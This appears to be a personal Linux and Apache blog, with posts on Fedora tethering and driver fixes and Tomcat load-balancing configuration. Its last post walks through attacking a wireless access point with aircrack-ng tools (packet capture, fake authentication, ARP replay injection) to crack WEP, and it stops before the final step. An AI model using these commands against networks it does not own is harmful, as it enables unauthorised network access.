Thursday, December 23, 2010
Tethering with Fedora 14 with iphone
yum install libimobiledevice (really needed?)
[ 3202.355929] ipheth 1-8.4:4.2: Apple iPhone USB Ethernet device attached
[ 3202.355982] usbcore: registered new interface driver ipheth
In network manager I am able to confgure it but not to activate it (may be I have something wrong in my box).
Using dhclient wwan0
gets it working :D
Note that the iphone is running 4.2.1 and my provider is swisscom
Wednesday, June 03, 2009
mod_cluster 1.0.0.GA release
The improvements to mod_proxy/mod_jk are:
- Dynamic configuration of contexts (no more 404 or 400 when an application is been redeployed).
- Load information received from the node of the cluster.
- Asynchronous cping/cpong via a STATUS message from the cluster.
- Minimal configuration.
Paul also blogged on the topic see http://pferraro.wordpress.com/
For more see http://www.jboss.org/mod_cluster/ try it and join the growing community.
Tuesday, April 14, 2009
Using Tomcat with mod_heartmonitor (part 2)
In the httpd.conf file add something like the following (to the httpd.conf the previous blog):
Deny from all
Allow from 127.0.0.1
Allow from 10.33.144.4
In the server.xml add ProxyList to the HeartbeatListener:
<Listener className="org.apache.catalina.ha.backend.HeartbeatListener" Port="8009" ProxyList="127.0.0.1:7779" />
Thursday, April 09, 2009
Using Tomcat with mod_heartmonitor
Associated with mod_proxy_balancer and the heartbeat Load balancing scheduler algorithm you can have a partially dynamic load balancing behaviour.
Configure httpd.conf with something like the following: (using httpd-trunk).
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule heartmonitor_module modules/mod_heartmonitor.so
LoadModule lbmethod_heartbeat_module modules/mod_lbmethod_heartbeat.so
LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so
ProxyPass /myapp balancer://mycluster/myapp lbmethod=heartbeat
BalancerMember ajp://10.33.144.3:8009 route=jfpc ping=10
BalancerMember ajp://10.33.144.4:8009 route=neo3 ping=10
Add the listener in server.xml of each tomcat: (using tc_trunk):
<Listener className="org.apache.catalina.ha.backend.HeartbeatListener" Port="8009"/>
Port is the Port of the AJP Connector where httpd is going to proxy the requests.
Start httpd and the Tomcats and have fun with the "dynamic" cluster.
Friday, February 20, 2009
So this week has been a very busy one a mod_cluster release and a JBossWEB release.
I have also followed a first Aid with CPR and the ApacheCon Europe 2009 planner activities are also taking a part of my time.
I will speak at the ApacheCon Europe 2009 too.
Sunday, May 25, 2008
fedora9 x86_64 with nvidia and centrino (d620)
- Via upgrade installation... It doesn't work (F8 i386 packages are not replaced)
- Via install if you use the custom partitioning and don't change the partition
layout and don't format you will keep your data but the F8 i386 packages are conflicting.
- Remove the conflicting packages (via rescue installed system).
rpm --root /mnt/sysimage/ -qa | grep i386 | xargs rpm --root /mnt/sysimage/ --nodeps --erase
rpm --root /mnt/sysimage/ -qa | grep fc8 | xargs rpm --root /mnt/sysimage/ --nodeps --erase
avahi (fc7.i386) has a broken postun scriptlet use --nopostun for it.
- Redo the install as previous.
- yum update (to use a 126.96.36.199-18 kernel).
Fixing remaining problems
- Remaining problems (now investigating with a 4 Gbytes USB key as F9 disk)...
Dual screen doesn't work (solution: Use nvidia 173.14.05)
- default looks ok. But no dual screen.
- xorg-drv-nouveau: Give a bad resolution and strange (green colors) when randr12 on.
- nvidia: Doesn't work (X doesn't start, not the right ABI from http://www.nvidia.com/object/linux_display_amd64_173.08.html).
- nouveau from git (080525): See http://nouveau.freedesktop.org/wiki/InstallNouveau:
use the Fedora location (drm and xf86-video-nouveau).: ./configure --prefix=/usr --libdir=/usr/lib64).
restore the libglx.so if you tried nvidia before (yum reinstall xorg-x11-server-Xorg)
- nvidia try 2: It works with
wifi (centrino) doesn't work (solution: use intel firmware 188.8.131.52 and stop NetworkeManager)
- default doesn't work (well not well enough to use it).
- remove the firmwares that are installed and doesn't correspond to the 3945 board.
yum erase ipw2100-firmware
yum erase ipw2200-firmware
yum erase iwl4965-firmware
normally something like the following should be done:
yum search 3945
yum install iwl3945-firmware
But in fact that doesn't help because the iwl3945 the driver complains (Do dmesg | grep iw) the firmware seems to be the same version (184.108.40.206-2?) than the F8 and I am using driver iwl3945 too. After retest it seems that it also doesn't work now on F8.
It is working using 220.127.116.11 firmware from http://intellinuxwireless.org/?p=iwlwifi&n=downloads
on both Fedora versions in /lib/firmware/iwlwifi-3945-1.ucode)
It seems that stopping the NetworkManager service helps (even with 18.104.22.168-2).
PC speaker makes loud beeps:
In /etc/modprobe.d/blacklist add:
install pcspkr /bin/true
Sunday, February 24, 2008
wifi security :-(
(it uses ipwraw-ng http://homepages.tu-darmstadt.de/~p_larbig/wlan/)
Remove old driver:
[root@jfcpc ipwraw-ng]# /sbin/lsmod | grep 39
ipw3945 181024 0
ieee80211 30985 1 ipw3945
[root@jfcpc ipwraw-ng]# /sbin/rmmod ipw3945
[root@jfcpc ipwraw-ng]# /etc/rc.d/init.d/ipw3945d stop
Stopping ipw3945d: [ OK ]
Load the new one:
[root@jfcpc ipwraw-ng]# /sbin/modprobe ipwraw
start it up:
[root@jfcpc ipwraw-ng]# /sbin/ifconfig wifi0 up
[root@jfcpc ipwraw-ng]# /sbin/iwconfig wifi0 rate 1M
set the right channel for example:
[root@jfcpc ipwraw-ng]# /sbin/iwconfig wifi0 chan 1
/sbin/iwconfig wifi0 works with it.
/sbin/iwconfig wifi0 rate 1M
edit /etc/kismet/kismet.conf add something:
start capture (to get the file.cap):
/usr/sbin/airodump-ng -c 11 --bssid 00:C0:49:F1:XX:XX -w XXXX rtap0
use test to check it will work:
/usr/sbin/aireplay-ng -9 wifi0 -b 00:C0:49:F1:XX:XX
use fakeauth (-1) to check the AP likes us:
/usr/sbin/aireplay-ng -1 0 -e XXXX -a 00:C0:49:F1:XX:XX -h
use -3 of aireplay-ng to inject (it takes times to get APR packets).
/usr/sbin/aireplay-ng -3 -b 00:C0:49:F1:XX:XX -h 00:19:D2:AE:3B:9D wifi0
the lastest step is:
If it doesn't work try the slower: